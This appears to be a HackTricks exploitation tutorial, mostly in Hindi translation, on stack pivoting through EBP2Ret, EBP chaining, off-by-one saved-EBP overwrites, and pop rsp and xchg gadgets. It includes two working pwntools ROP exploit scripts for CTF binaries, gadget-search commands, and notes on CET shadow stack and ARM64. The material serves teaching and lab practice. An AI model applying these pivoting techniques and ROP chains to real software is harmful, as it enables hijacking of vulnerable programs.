Stack Pivoting - EBP2Ret - EBP chaining

Reading time: 13 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Basic Information

यह तकनीक Base Pointer (EBP/RBP) को नियंत्रित करने की क्षमता का लाभ उठाती है ताकि फ़्रेम पॉइंटर के सावधानीपूर्वक उपयोग और leave; ret निर्देश अनुक्रम के माध्यम से कई कार्यों के निष्पादन को श्रृंखला में जोड़ा जा सके।

याद दिलाने के लिए, x86/x86-64 पर leave के बराबर है:

mov       rsp, rbp   ; mov esp, ebp on x86
pop       rbp        ; pop ebp on x86
ret

And as the saved EBP/RBP is in the stack before the saved EIP/RIP, it's possible to control it by controlling the stack.

Notes

  • On 64-bit, replace EBP→RBP and ESP→RSP. Semantics are the same.
  • Some compilers omit the frame pointer (see “EBP might not be used”). In that case, leave might not appear and this technique won’t work.

EBP2Ret

यह तकनीक विशेष रूप से उपयोगी है जब आप सहेजे गए EBP/RBP को बदल सकते हैं लेकिन EIP/RIP को सीधे बदलने का कोई तरीका नहीं है। यह फ़ंक्शन एपिलॉग व्यवहार का लाभ उठाता है।

यदि, fvuln के निष्पादन के दौरान, आप स्टैक में एक फर्जी EBP इंजेक्ट करने में सफल होते हैं जो मेमोरी के उस क्षेत्र की ओर इशारा करता है जहां आपका शेलकोड/ROP श्रृंखला पता स्थित है (amd64 पर 8 बाइट्स / x86 पर 4 बाइट्स pop के लिए), तो आप अप्रत्यक्ष रूप से RIP को नियंत्रित कर सकते हैं। जैसे ही फ़ंक्शन लौटता है, leave RSP को तैयार स्थान पर सेट करता है और अगला pop rbp RSP को कम करता है, जिससे यह उस पते की ओर इशारा करता है जो हमलावर द्वारा वहां संग्रहीत किया गया है। फिर ret उस पते का उपयोग करेगा।

ध्यान दें कि आपको 2 पते जानने की आवश्यकता है: वह पता जहां ESP/RSP जाने वाला है, और उस पते पर संग्रहीत मान जो ret उपभोग करेगा।

Exploit Construction

पहले आपको एक पता जानने की आवश्यकता है जहां आप मनमाना डेटा/पते लिख सकते हैं। RSP यहाँ इशारा करेगा और पहला ret उपभोग करेगा

फिर, आपको उस पते का चयन करना होगा जिसका उपयोग ret द्वारा निष्पादन स्थानांतरित करने के लिए किया जाएगा। आप उपयोग कर सकते हैं:

  • एक मान्य ONE_GADGET पता।
  • system() का पता उसके उपयुक्त लौटने और तर्कों के साथ (x86 पर: ret लक्ष्य = &system, फिर 4 जंक बाइट्स, फिर &"/bin/sh").
  • एक jmp esp; गैजेट (ret2esp) का पता जो इनलाइन शेलकोड के साथ है।
  • एक ROP श्रृंखला जो लिखने योग्य मेमोरी में स्टेज की गई है।

याद रखें कि नियंत्रित क्षेत्र में इन पते से पहले, leave से pop ebp/rbp के लिए स्थान होना चाहिए (amd64 पर 8B, x86 पर 4B)। आप इन बाइट्स का दुरुपयोग करके एक दूसरा फर्जी EBP सेट कर सकते हैं और पहले कॉल के लौटने के बाद नियंत्रण बनाए रख सकते हैं।

Off-By-One Exploit

एक भिन्नता है जिसका उपयोग तब किया जाता है जब आप सहेजे गए EBP/RBP के सबसे कम महत्वपूर्ण बाइट को केवल संशोधित कर सकते हैं। ऐसे मामले में, मेमोरी स्थान जो ret के साथ कूदने के लिए पता संग्रहीत करता है, को मूल EBP/RBP के साथ पहले तीन/पांच बाइट्स साझा करना चाहिए ताकि 1-बाइट ओवरराइट इसे पुनर्निर्देशित कर सके। आमतौर पर निम्न बाइट (ऑफसेट 0x00) को बढ़ाया जाता है ताकि निकटवर्ती पृष्ठ/संरेखित क्षेत्र के भीतर जितना संभव हो सके कूद सके।

यह भी सामान्य है कि स्टैक में एक RET स्लेड का उपयोग किया जाए और असली ROP श्रृंखला को अंत में रखा जाए ताकि यह अधिक संभावित हो कि नया RSP स्लेड के अंदर इशारा करता है और अंतिम ROP श्रृंखला निष्पादित होती है।

EBP Chaining

स्टैक के सहेजे गए EBP स्लॉट में एक नियंत्रित पता रखकर और EIP/RIP में एक leave; ret गैजेट रखकर, यह संभव है कि ESP/RSP को एक हमलावर-नियंत्रित पते पर ले जाया जाए

अब RSP नियंत्रित है और अगला निर्देश ret है। नियंत्रित मेमोरी में कुछ इस तरह रखें:

  • &(next fake EBP) -> leave से pop ebp/rbp द्वारा लोड किया गया।
  • &system() -> ret द्वारा कॉल किया गया।
  • &(leave;ret) -> system समाप्त होने के बाद, RSP को अगले फर्जी EBP पर ले जाता है और जारी रहता है।
  • &("/bin/sh") -> system के लिए तर्क।

इस तरह यह संभव है कि कई फर्जी EBPs को जोड़कर कार्यक्रम के प्रवाह को नियंत्रित किया जा सके।

यह एक ret2lib की तरह है, लेकिन अधिक जटिल और केवल किनारे के मामलों में उपयोगी है।

इसके अलावा, यहाँ एक चुनौती का उदाहरण है जो इस तकनीक का उपयोग करता है एक स्टैक लीक के साथ एक विजेता फ़ंक्शन को कॉल करने के लिए। यह पृष्ठ से अंतिम पेलोड है:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (reach saved RBP)

payload += flat(
buffer,         # Load leaked address in RBP
LEAVE_RET       # Use leave to move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

amd64 संरेखण टिप: System V ABI कॉल साइट्स पर 16-बाइट स्टैक संरेखण की आवश्यकता होती है। यदि आपकी श्रृंखला system जैसी फ़ंक्शंस को कॉल करती है, तो संरेखण बनाए रखने और movaps क्रैश से बचने के लिए कॉल से पहले एक संरेखण गैजेट (जैसे, ret, या sub rsp, 8 ; ret) जोड़ें।

EBP का उपयोग नहीं किया जा सकता है

जैसा कि इस पोस्ट में समझाया गया है, यदि कोई बाइनरी कुछ ऑप्टिमाइजेशन के साथ या फ़्रेम-पॉइंटर की अनुपस्थिति में संकलित की गई है, तो EBP/RBP कभी भी ESP/RSP को नियंत्रित नहीं करता है। इसलिए, EBP/RBP को नियंत्रित करके काम करने वाला कोई भी एक्सप्लॉइट विफल हो जाएगा क्योंकि प्रोलॉग/एपिलॉग फ़्रेम पॉइंटर से पुनर्स्थापित नहीं होता है।

  • अनुकूलित नहीं किया गया / फ़्रेम पॉइंटर का उपयोग किया गया:
bash
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • अनुकूलित / फ्रेम पॉइंटर छोड़ा गया:
bash
push   %ebx         # save callee-saved register
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore
ret                 # return

On amd64 आप अक्सर pop rbp ; ret देखेंगे इसके बजाय leave ; ret, लेकिन अगर फ्रेम पॉइंटर पूरी तरह से छोड़ा गया है तो rbp-आधारित उपसंहार के माध्यम से पिवट करने के लिए कोई नहीं है।

RSP को नियंत्रित करने के अन्य तरीके

pop rsp गैजेट

इस पृष्ठ में आप इस तकनीक का उपयोग करते हुए एक उदाहरण पा सकते हैं। उस चुनौती के लिए 2 विशिष्ट तर्कों के साथ एक फ़ंक्शन को कॉल करना आवश्यक था, और वहाँ एक pop rsp गैजेट था और वहाँ स्टैक से लीक है:

python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg , rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

यहाँ ret2esp तकनीक की जाँच करें:

Ret2esp / Ret2reg

तेजी से पिवट गैजेट्स खोजना

क्लासिक पिवट प्राइमिटिव्स के लिए अपने पसंदीदा गैजेट फाइंडर का उपयोग करें:

  • leave ; ret फ़ंक्शनों या लाइब्रेरी में
  • pop rsp / xchg rax, rsp ; ret
  • add rsp, <imm> ; ret (या add esp, <imm> ; ret x86 पर)

उदाहरण:

bash
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"

# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"

क्लासिक पिवट स्टेजिंग पैटर्न

एक मजबूत पिवट रणनीति जो कई CTFs/exploits में उपयोग की जाती है:

  1. एक छोटे प्रारंभिक ओवरफ्लो का उपयोग करें read/recv को एक बड़े लिखने योग्य क्षेत्र (जैसे, .bss, heap, या मैप किए गए RW मेमोरी) में कॉल करने के लिए और वहां एक पूर्ण ROP श्रृंखला रखें।
  2. एक पिवट गैजेट (leave ; ret, pop rsp, xchg rax, rsp ; ret) में लौटें ताकि RSP को उस क्षेत्र में ले जाया जा सके।
  3. स्टेज्ड श्रृंखला के साथ जारी रखें (जैसे, libc लीक करें, mprotect कॉल करें, फिर read शेलकोड, फिर उस पर कूदें)।

आधुनिक रोकथाम जो स्टैक पिवटिंग को तोड़ती हैं (CET/शैडो स्टैक)

आधुनिक x86 CPUs और OSes लगातार CET शैडो स्टैक (SHSTK) लागू कर रहे हैं। SHSTK सक्षम होने पर, ret सामान्य स्टैक पर लौटने के पते की तुलना हार्डवेयर-सुरक्षित शैडो स्टैक से करता है; कोई भी असंगति एक नियंत्रण-सुरक्षा दोष उठाती है और प्रक्रिया को समाप्त कर देती है। इसलिए, EBP2Ret/leave;ret-आधारित पिवट जैसी तकनीकें पहले ret के पिवटेड स्टैक से निष्पादित होते ही क्रैश हो जाएंगी।

  • पृष्ठभूमि और गहरे विवरण के लिए देखें:

CET & Shadow Stack

  • लिनक्स पर त्वरित जांच:
bash
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'

# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo

# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status   # expect: shstk (and possibly wrss)

# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
  • प्रयोगशालाओं/CTF के लिए नोट्स:

  • कुछ आधुनिक डिस्ट्रीब्यूशंस CET-सक्षम बाइनरी के लिए SHSTK को सक्षम करते हैं जब हार्डवेयर और glibc समर्थन मौजूद होता है। VMs में नियंत्रित परीक्षण के लिए, SHSTK को सिस्टम-व्यापी nousershstk कर्नेल बूट पैरामीटर के माध्यम से अक्षम किया जा सकता है, या स्टार्टअप के दौरान glibc ट्यूनबल्स के माध्यम से चयनात्मक रूप से सक्षम किया जा सकता है (संदर्भ देखें)। उत्पादन लक्ष्यों पर शमन को अक्षम न करें।

  • JOP/COOP या SROP-आधारित तकनीकें कुछ लक्ष्यों पर अभी भी व्यवहार्य हो सकती हैं, लेकिन SHSTK विशेष रूप से ret-आधारित पिवट को तोड़ता है।

  • Windows नोट: Windows 10+ उपयोगकर्ता-मोड को उजागर करता है और Windows 11 कर्नेल-मोड "हार्डवेयर-प्रवर्तन स्टैक सुरक्षा" को छाया स्टैक्स पर आधारित करता है। CET-संगत प्रक्रियाएँ ret पर स्टैक पिवटिंग/ROP को रोकती हैं; डेवलपर्स CETCOMPAT और संबंधित नीतियों के माध्यम से ऑप्ट-इन करते हैं (संदर्भ देखें)।

ARM64

ARM64 में, कार्यों के प्रोलॉग और एपिलॉग स्टैक में SP रजिस्टर को स्टोर और पुनर्प्राप्त नहीं करते। इसके अलावा, RET निर्देश SP द्वारा इंगित पते पर वापस नहीं लौटता, बल्कि x30 के अंदर के पते पर लौटता है।

इसलिए, डिफ़ॉल्ट रूप से, केवल एपिलॉग का दुरुपयोग करके आप SP रजिस्टर को नियंत्रित नहीं कर पाएंगे कुछ डेटा को स्टैक के अंदर ओवरराइट करके। और यदि आप SP को नियंत्रित करने में सफल हो जाते हैं, तो भी आपको x30 रजिस्टर को नियंत्रित करने का एक तरीका चाहिए।

  • प्रोलॉग
armasm
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP फ्रेम रिकॉर्ड को इंगित करता है
  • एपिलॉग
armasm
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

caution

ARM64 में स्टैक पिवटिंग के समान कुछ करने का तरीका होगा SP को नियंत्रित करना (किसी रजिस्टर को नियंत्रित करके जिसका मान SP को पास किया जाता है या क्योंकि किसी कारणवश SP अपना पता स्टैक से ले रहा है और हमारे पास एक ओवरफ्लो है) और फिर एपिलॉग का दुरुपयोग करके x30 रजिस्टर को नियंत्रित SP से लोड करना और RET करना।

इसके अलावा, निम्नलिखित पृष्ठ पर आप Ret2esp in ARM64 का समकक्ष देख सकते हैं:

Ret2esp / Ret2reg

संदर्भ

  • https://bananamafia.dev/post/binary-rop-stackpivot/
  • https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
  • https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
  • 64 बिट्स, एक रॉप चेन के साथ एक रिट स्लेड से एक द्वारा एक शोषण
  • https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
  • 64 बिट, कोई relro, कैनरी, nx और pie नहीं। प्रोग्राम स्टैक या pie के लिए एक लीक और एक qword का WWW प्रदान करता है। पहले स्टैक लीक प्राप्त करें और WWW का उपयोग करके वापस जाएं और pie लीक प्राप्त करें। फिर WWW का उपयोग करके एक शाश्वत लूप बनाएं जो .fini_array प्रविष्टियों का दुरुपयोग करता है + __libc_csu_fini को कॉल करता है (यहां अधिक जानकारी). इस "शाश्वत" लेखन का दुरुपयोग करते हुए, .bss में एक ROP चेन लिखी जाती है और अंततः इसे RBP के साथ पिवटिंग करते हुए कॉल किया जाता है।
  • Linux कर्नेल दस्तावेज़: नियंत्रण-प्रवाह प्रवर्तन प्रौद्योगिकी (CET) छाया स्टैक — SHSTK, nousershstk, /proc/$PID/status ध्वज, और arch_prctl के माध्यम से सक्षम करने के विवरण। https://www.kernel.org/doc/html/next/x86/shstk.html
  • Microsoft Learn: कर्नेल मोड हार्डवेयर-प्रवर्तन स्टैक सुरक्षा (Windows पर CET छाया स्टैक्स)। https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें